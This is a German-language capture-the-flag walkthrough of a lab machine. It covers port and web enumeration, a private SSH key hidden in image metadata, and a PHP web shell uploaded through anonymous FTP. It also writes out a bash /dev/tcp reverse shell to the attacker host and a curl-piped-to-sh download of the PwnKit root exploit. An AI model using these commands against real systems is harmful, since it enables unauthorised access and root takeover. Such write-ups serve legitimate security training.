ARP-Scan wird verwendet, um Hosts im lokalen Netzwerk zu entdecken. In diesem Fall finden wir einen Host mit der IP-Adresse 192.168.2.107 und der MAC-Adresse 08:00:27:66:69:65. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH.
Die Datei /etc/hosts wird verwendet, um Hostnamen zu IP-Adressen aufzulösen. Hier wird der Hostname chatty1.vln der IP-Adresse 192.168.2.107 zugewiesen. Dies ermöglicht uns, den Host über seinen Hostnamen anzusprechen.
Dieser Nmap-Befehl führt einen UDP-Scan der Top 1000 Ports auf dem Zielsystem durch.
-sU: UDP-Scan--top-port 1000: Scannt die Top 1000 Ports-T5: Schnellste Scan-Geschwindigkeit (kann ungenau sein)-n: Keine DNS-Auflösung$IP: Ziel-IP-Adresse (192.168.2.107)-Pn: Keine Ping-Anfrage vor dem Scan--min-rate 5000: Sendet Pakete mit einer Rate von mindestens 5000 pro SekundeDieser Nmap-Befehl führt einen umfassenden TCP-Scan auf allen Ports des Zielsystems durch und filtert die Ausgabe, um nur offene Ports anzuzeigen.
-sS: TCP-SYN-Scan (Stealth-Scan)-sC: Verwendet Standard-NSE-Skripte für die Serviceerkennung-sV: Erkennt die Service-Version-A: Aggressiver Scan (Service-Version, Skript-Scan, Traceroute)-p-: Scannt alle 65535 Ports$IP: Ziel-IP-Adresse (192.168.2.107)-Pn: Keine Ping-Anfrage vor dem Scan--min-rate 5000: Sendet Pakete mit einer Rate von mindestens 5000 pro Sekundegrep open: Filtert die Ausgabe, um nur Zeilen mit "open" anzuzeigenDieser Nmap-Befehl ist identisch mit dem vorherigen, jedoch ohne die Filterung der Ausgabe. Er liefert detailliertere Informationen zu den offenen Ports und Diensten.
Da der anonyme FTP-Zugang erlaubt ist, verwenden wir wget, um rekursiv alle Dateien und Verzeichnisse vom FTP-Server herunterzuladen. Die Option -r steht für rekursiv, was bedeutet, dass wget alle Verzeichnisse und Unterverzeichnisse durchläuft und alle Dateien herunterlädt.
Nach dem Herunterladen der Dateien überprüfen wir den Inhalt des aktuellen Verzeichnisses. Wir sehen, dass ein Verzeichnis mit dem Namen 192.168.2.107 erstellt wurde, das die heruntergeladenen Dateien enthält.
In der Web-Enumerationsphase versuchen wir, versteckte Dateien und Verzeichnisse auf dem Webserver zu finden.
Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.
X-Frame-Options und X-Content-Type-Options gemeldet, die das System anfällig für Clickjacking- und MIME-Sniffing-Angriffe machen könnten.Gobuster wird verwendet, um Brute-Force-Angriffe auf Verzeichnisse und Dateien auf dem Webserver durchzuführen.
-u: Ziel-URL (http://192.168.2.107)-w: Wordlist-Datei (/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt)-x: Dateiendungen, nach denen gesucht werden soll-b: Ignoriert die Statuscodes 503, 404 und 403-e: Gibt die vollständige URL in der Ausgabe an--no-error: Unterdrückt Fehlermeldungen-k: Ignoriert SSL-Zertifikatfehler/zamowienie/ und seine Unterverzeichnisse /data/, /css/ und /js/ existieren.
Wir wechseln in das Verzeichnis 192.168.2.107, das zuvor mit wget heruntergeladen wurde, und listen dessen Inhalt auf. Dies zeigt uns die Struktur und die Dateien, die wir vom FTP-Server heruntergeladen haben.
exiftool wird verwendet, um Metadaten aus der Bilddatei tech-042712-004.jpg zu extrahieren. Die Ausgabe zeigt verschiedene Metadaten, darunter den Künstlernamen, die Software, die zum Erstellen des Bildes verwendet wurde, und eine URL. Besonders interessant ist der Abschnitt Instructions, der einen Base64-kodierten RSA-Privatschlüssel enthält. Dies ist ein potenziell sicherheitskritisches Ergebnis, da ein Angreifer diesen Schlüssel verwenden könnte, um sich als der Benutzer zu authentifizieren, dem der Schlüssel gehört.
Dieser Befehl extrahiert gezielt die Zeile mit den Instructions aus den EXIF-Daten der Bilddatei. Dies bestätigt, dass der RSA-Privatschlüssel tatsächlich in den Metadaten der Datei vorhanden ist.
Hier erstellen wir eine Datei namens id_rsa und fügen den extrahierten RSA-Privatschlüssel ein. Dies ermöglicht uns, den Schlüssel für die Authentifizierung zu verwenden. Der Befehl vi wird verwendet, um die Datei zu erstellen und zu bearbeiten, und cat gibt den Inhalt der Datei aus.
Der Befehl chmod +x id_rsa macht die Datei id_rsa ausführbar. Obwohl dies für eine private Schlüsseldatei nicht erforderlich ist, wird es hier möglicherweise verwendet, um Verwechslungen zu vermeiden oder um sicherzustellen, dass die Datei von anderen Tools gelesen werden kann. Es ist jedoch wichtig zu beachten, dass private Schlüsseldateien niemals ausführbar sein sollten, da dies ein Sicherheitsrisiko darstellen kann.
ssh2john ist ein Tool, das verwendet wird, um SSH-Schlüssel in ein Format zu konvertieren, das von John the Ripper (einem Passwort-Cracking-Tool) verarbeitet werden kann. In diesem Fall gibt ssh2john die Meldung "id_rsa has no password!" aus, was bedeutet, dass der private Schlüssel nicht passwortgeschützt ist.
In dieser Phase versuchen wir, initialen Zugriff auf das System zu erhalten.
Dieser Nmap-Scan wiederholt die Informationen, die wir bereits in der Reconnaissance-Phase gesammelt haben. Er bestätigt, dass der anonyme FTP-Zugang erlaubt ist und dass das Verzeichnis data beschreibbar ist.
Wir verbinden uns mit dem FTP-Server als anonymer Benutzer.
Wir listen den Inhalt des FTP-Hauptverzeichnisses auf, um die Dateiberechtigungen zu überprüfen. Dies bestätigt erneut, dass das Verzeichnis data beschreibbar ist (drwxrwxrwx).
Wir versuchen, die Datei rev.php in das FTP-Hauptverzeichnis hochzuladen, was jedoch fehlschlägt. Die Fehlermeldung "553 Could not create file" deutet darauf hin, dass wir keine Schreibberechtigungen im Hauptverzeichnis haben.
Wir wechseln in das Verzeichnis data.
Wir laden die Datei rev.php in das Verzeichnis data hoch. Der Upload ist erfolgreich, da wir Schreibberechtigungen in diesem Verzeichnis haben.
Nach dem Hochladen der rev.php-Datei testen wir sie, um zu sehen, ob sie wie erwartet funktioniert.
Wir führen den Befehl id über die rev.php-Datei aus. Die Ausgabe zeigt, dass der Befehl als Benutzer www-data ausgeführt wird. Dies bestätigt, dass wir Code auf dem Webserver ausführen können.
Wir listen den Inhalt des Verzeichnisses /home auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser.
Wir lesen die Datei /etc/passwd aus und filtern die Ausgabe nach Zeilen, die /bin/bash enthalten. Dies zeigt uns die Benutzer, die eine Bash-Shell verwenden. In diesem Fall finden wir den Benutzer root.
Wir starten einen Netcat-Listener auf Port 9001, um eine Reverse-Shell zu empfangen.
Wir verwenden die rev.php-Datei, um eine Reverse-Shell zu starten. Der Befehl /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1' startet eine interaktive Bash-Shell und leitet die Ein- und Ausgabe über eine TCP-Verbindung zu unserer Kali-Maschine auf Port 9001 um. Die URL-kodierte Version dieses Befehls wird an die rev.php-Datei übergeben.
Wir empfangen eine Verbindung von der Zielmaschine. Wir sind jetzt als Benutzer www-data angemeldet. Die Meldungen "cannot set terminal process group" und "no job control in this shell" deuten darauf hin, dass wir keine vollständig interaktive Shell haben.
Wir listen den Inhalt des Verzeichnisses /home auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser.
Wir überprüfen, ob Python installiert ist. Python ist oft nützlich für Privilege Escalation, da es viele exploitable Module gibt.
In dieser Phase versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.
Wir überprüfen unsere aktuelle Benutzer-ID. Wir sind immer noch als Benutzer www-data angemeldet.
Wir suchen nach SUID-Dateien (Set User ID), die von Root ausgeführt werden können. SUID-Dateien ermöglichen es einem Benutzer, ein Programm mit den Privilegien des Dateibesitzers (in der Regel Root) auszuführen. Dies kann für Privilege Escalation ausgenutzt werden, wenn eine SUID-Datei eine Schwachstelle aufweist. Die Option -perm -4000 sucht nach Dateien, bei denen das SUID-Bit gesetzt ist. pkexec ist hier ein interessanter Kandidat.
Wir wechseln in das Verzeichnis /tmp/, da wir hier Schreibrechte haben.
Wir versuchen, eine Shell als Root mit pkexec auszuführen. pkexec ist ein Tool, das es autorisierten Benutzern ermöglicht, Befehle mit erhöhten Privilegien auszuführen. In diesem Fall werden wir nach dem Root-Passwort gefragt, das wir nicht kennen.
Wir überprüfen, ob curl installiert ist, da wir es später für einen Exploit verwenden werden.
Dieser Proof of Concept demonstriert, wie wir die Schwachstelle in pkexec ausnutzen können, um Root-Privilegien zu erlangen.
Wir laden das PwnKit-Skript herunter und führen es aus. PwnKit ist ein Exploit, der eine Schwachstelle in pkexec ausnutzt, um Root-Privilegien zu erlangen.
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh: Lädt das PwnKit-Skript herunter. Die Optionen -fsSL stellen sicher, dass curl bei Fehlern fehlschlägt (-f), still ist (-s), Weiterleitungen folgt (-L) und SSL verwendet (-S).sh -c "$( )": Führt das heruntergeladene Skript aus.
**Fantastisch! Der Root-Zugriff war erfolgreich!** Wir haben unser Ziel erreicht und sind jetzt als root angemeldet.
Der Befehl id bestätigt, dass wir Root-Privilegien haben (uid=0).
Wir listen den Inhalt des Root-Verzeichnisses auf, um die Datei flag.txt zu finden.
Wir lesen den Inhalt der Datei flag.txt, um die Root-Flagge zu erhalten.
Wir wechseln in das Home-Verzeichnis des Benutzers jpeguser und listen dessen Inhalt auf.
Wir wechseln in das .ssh-Verzeichnis des Benutzers jpeguser und listen dessen Inhalt auf. Wir finden die Dateien authorized_keys, id_rsa und id_rsa.pub. Dies deutet darauf hin, dass der Benutzer SSH-Schlüssel verwendet.
Die Reconnaissance-Phase ist der erste Schritt bei jedem Penetrationstest. Hier sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.